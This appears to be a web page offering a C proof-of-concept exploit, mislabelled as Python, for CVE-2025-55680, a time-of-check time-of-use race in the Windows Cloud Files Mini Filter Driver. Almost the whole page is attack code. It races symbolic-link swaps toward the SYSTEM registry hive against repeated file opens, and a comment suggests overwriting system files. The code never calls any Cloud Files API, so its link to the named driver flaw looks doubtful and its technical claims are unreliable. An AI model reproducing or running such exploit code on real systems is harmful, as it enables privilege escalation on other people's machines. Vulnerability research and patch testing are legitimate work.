Time-of-check time-of-use (toctou) race condition in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
// CVE-2025-55680 - Windows Cloud Files Mini Filter Driver TOCTOU Race Condition
// PoC for Local Privilege Escalation via Cloud Files Mini Filter Driver
// Note: This is a conceptual PoC demonstrating the TOCTOU race condition exploitation technique.
// Actual exploitation requires precise timing and may need multiple iterations.
#include <windows.h>
#include <stdio.h>
#include <processthreadsapi.h>
// Symbolic link path used to redirect the Cloud Files placeholder file
#define SYMLINK_PATH L"\\\\?\\C:\\Users\\Public\\placeholder_symlink"
#define TARGET_PATH L"\\\\?\\C:\\Windows\\System32\\config\\SYSTEM"
// Thread structure for racing operations
typedef struct _RACE_CONTEXT {
HANDLE hFile;
volatile LONG stop_flag;
} RACE_CONTEXT, *PRACE_CONTEXT;
// Thread 1: Continuously toggle the symbolic link target
// to exploit the TOCTOU window in the Cloud Files Mini Filter Driver
DWORD WINAPI SymlinkSwitcherThread(LPVOID lpParam) {
PRACE_CONTEXT ctx = (PRACE_CONTEXT)lpParam;
while (!ctx->stop_flag) {
// Remove existing symlink if present
DeleteFileW(SYMLINK_PATH);
// Create symlink pointing to a benign file (passes check)
CreateSymbolicLinkW(SYMLINK_PATH, L"C:\\Users\\Public\\benign_file.txt", 0);
// Rapidly switch to target file (used during the TOCTOU window)
DeleteFileW(SYMLINK_PATH);
CreateSymbolicLinkW(SYMLINK_PATH, TARGET_PATH, 0);
}
return 0;
}
// Thread 2: Trigger Cloud Files Mini Filter Driver operations
// to race against the symlink switcher
DWORD WINAPI TriggerDriverThread(LPVOID lpParam) {
PRACE_CONTEXT ctx = (PRACE_CONTEXT)lpParam;
while (!ctx->stop_flag) {
// Open the file through the path monitored by Cloud Files Mini Filter
// This triggers the check-then-use sequence in the driver
HANDLE hFile = CreateFileW(
SYMLINK_PATH,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile != INVALID_HANDLE_VALUE) {
// If the race succeeds, we have obtained a handle to the target
// with elevated privileges - check if we can read sensitive data
char buffer[4096];
DWORD bytesRead;
if (ReadFile(hFile, buffer, sizeof(buffer), &bytesRead, NULL)) {
if (bytesRead > 0) {
printf("[+] Race condition succeeded! Read %lu bytes from target.\n", bytesRead);
printf("[+] Potential LPE achieved - handle to SYSTEM file obtained.\n");
// In a real exploit, use this handle to overwrite system files
// or perform other privileged operations
}
}
CloseHandle(hFile);
}
}
return 0;
}
int main() {
printf("[*] CVE-2025-55680 - Windows Cloud Files Mini Filter Driver TOCTOU LPE PoC\n");
printf("[*] Starting race condition exploitation...\n");
RACE_CONTEXT ctx = { 0 };
ctx.stop_flag = 0;
// Create racing threads to exploit the TOCTOU window
HANDLE hThread1 = CreateThread(NULL, 0, SymlinkSwitcherThread, &ctx, 0, NULL);
HANDLE hThread2 = CreateThread(NULL, 0, TriggerDriverThread, &ctx, 0, NULL);
if (!hThread1 || !hThread2) {
printf("[-] Failed to create threads. Error: %lu\n", GetLastError());
return 1;
}
// Run the race for a limited time (e.g., 30 seconds)
Sleep(30000);
// Signal threads to stop
InterlockedExchange(&ctx.stop_flag, 1);
WaitForSingleObject(hThread1, INFINITE);
WaitForSingleObject(hThread2, INFINITE);
// Cleanup
CloseHandle(hThread1);
CloseHandle(hThread2);
DeleteFileW(SYMLINK_PATH);
printf("[*] Exploitation attempt completed.\n");
return 0;
}